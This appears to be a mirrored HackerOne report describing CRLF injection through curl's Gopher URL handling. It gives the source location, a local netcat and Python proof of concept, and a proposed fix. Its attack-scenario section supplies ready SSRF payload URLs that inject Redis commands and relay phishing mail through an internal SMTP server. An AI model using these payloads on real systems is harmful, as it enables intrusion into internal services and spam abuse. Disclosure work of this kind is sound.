HACKERONE

curl: Gopher Protocol Command Injection (SSRF Smuggling)_H1:3508785

Description

## Summary
The `curl` Gopher protocol handler is vulnerable to command injection through URL-encoded CRLF sequences in the path. This allows an attacker to "smuggle" additional Gopher selectors or arbitrary commands into a single Gopher request. By using `%0d%0a` in the URL, an attacker can break the line-delimited Gopher protocol and force `curl` to send multiple distinct request lines to the server.

## Affected Component
- **File:** `lib/gopher.c`
- **Function:** `gopher_do`
- **Line:** 101
- **Vulnerable Code:** `Curl_urldecode` call with `REJECT_ZERO` flag

## Vulnerability Details

### Root Cause
In `lib/gopher.c`, the Gopher protocol handler extracts the selector from the URL and decodes it using `Curl_urldecode` with the `REJECT_ZERO` flag:

```c
/* lib/gopher.c:101 */
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_ZERO);
```

The `REJECT_ZERO` flag only prevents null bytes (`%00`) from being decoded. All other control characters, including:
- Carriage Return (`%0d` / `\r`)
- Line Feed (`%0a` / `\n`)

are decoded into the raw buffer `buf_alloc` and subsequently sent to the server.

### Attack Mechanism
The Gopher protocol is line-delimited. After decoding the selector, `curl` sends it to the server followed by a hardcoded CRLF:

```c
/* lib/gopher.c:110 */
result = Curl_xfer_send(data, buf, buf_len, FALSE, &nwritten);
...
/* lib/gopher.c:156 */
result = Curl_xfer_send(data, "\r\n", 2, FALSE, &nwritten);
```

If an attacker provides a URL like:
```
gopher://example.com/1/selector%0d%0aINJECTED_COMMAND
```

The resulting network transmission will be:
```
selector\r\n
INJECTED_COMMAND\r\n
```

A standard Gopher server processes each line independently, so it will see:
1. A request for `selector`
2. A second, attacker-controlled request for `INJECTED_COMMAND`

## Proof of Concept

### Step 1: Start a Listener
Open a terminal and start a netcat listener to observe the raw protocol traffic:

```bash
nc -l -p 7070
```

### Step 2: Execute the Attack
In another terminal, run curl with the malicious Gopher URL:

```bash
curl -v "gopher://localhost:7070/1/first-command%0d%0asecond-command"
```

### Step 3: Observe the Result
In the netcat listener terminal, you will see two distinct lines:

```
first-command
second-command
```

This proves that the attacker can inject arbitrary commands into the Gopher protocol stream.

### Alternative PoC (Python)
You can also use this Python script to verify:

```python
import socket

# Start a simple Gopher server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', 7070))
s.listen(1)
print("Gopher server listening on port 7070...")

conn, addr = s.accept()
data = conn.recv(1024).decode()
print("=== Received Data ===")
print(repr(data))
print("\n=== Parsed Lines ===")
for line in data.split('\r\n'):
if line:
print(f"Command: {line}")
conn.close()
s.close()
```

Run this script, then execute:
```bash
curl "gopher://localhost:7070/1/legitimate%0d%0ainjected%0d%0amalicious"
```

Expected output:
```
=== Received Data ===
'legitimate\r\ninjected\r\nmalicious\r\n'

=== Parsed Lines ===
Command: legitimate
Command: injected
Command: malicious
```

## Impact

### SSRF Enhancement
This vulnerability significantly enhances Server-Side Request Forgery (SSRF) attacks. If a web application allows users to provide a URL that is fetched by `curl`, an attacker can:

1. **Smuggle commands to internal Gopher servers**
- Send multiple queries in a single request
- Bypass rate limiting or logging mechanisms

2. **Communicate with other line-delimited internal services**
- Redis (if accessible via Gopher port or through port confusion)
- SMTP servers
- Memcached
- Custom internal protocols

3. **Bypass security controls**
- WAFs that only inspect the URL path
- Logging systems that record only the initial request

### Attack Scenarios

**Scenario 1: Redis Command Injection**
```
gopher://internal-redis:6379/1/SET%20key%20value%0d%0aGET%20sensitive_data
```

**Scenario 2: SMTP Relay**
```
gopher://mail-server:25/1/MAIL%20FROM:<[email protected]>%0d%0aRCPT%20TO:<[email protected]>%0d%0aDATA%0d%0aSubject:%20Phishing
```

## Recommendation

### Fix
Update `lib/gopher.c` to use `REJECT_CTRL` or `REJECT_CTRL_ZERO` instead of `REJECT_ZERO` in the `Curl_urldecode` call:

```c
/* lib/gopher.c:101 - FIXED */
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_CTRL);
```

This will prevent the decoding of newlines and other control characters that can be used to manipulate the protocol stream.

### Verification
After applying the fix, the PoC should fail with an error indicating that control characters are not allowed in the URL.
Visit Original Source

Basic Information

ID H1:3508785
Published Jan 13, 2026 at 13:16
Modified Jan 14, 2026 at 09:32

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.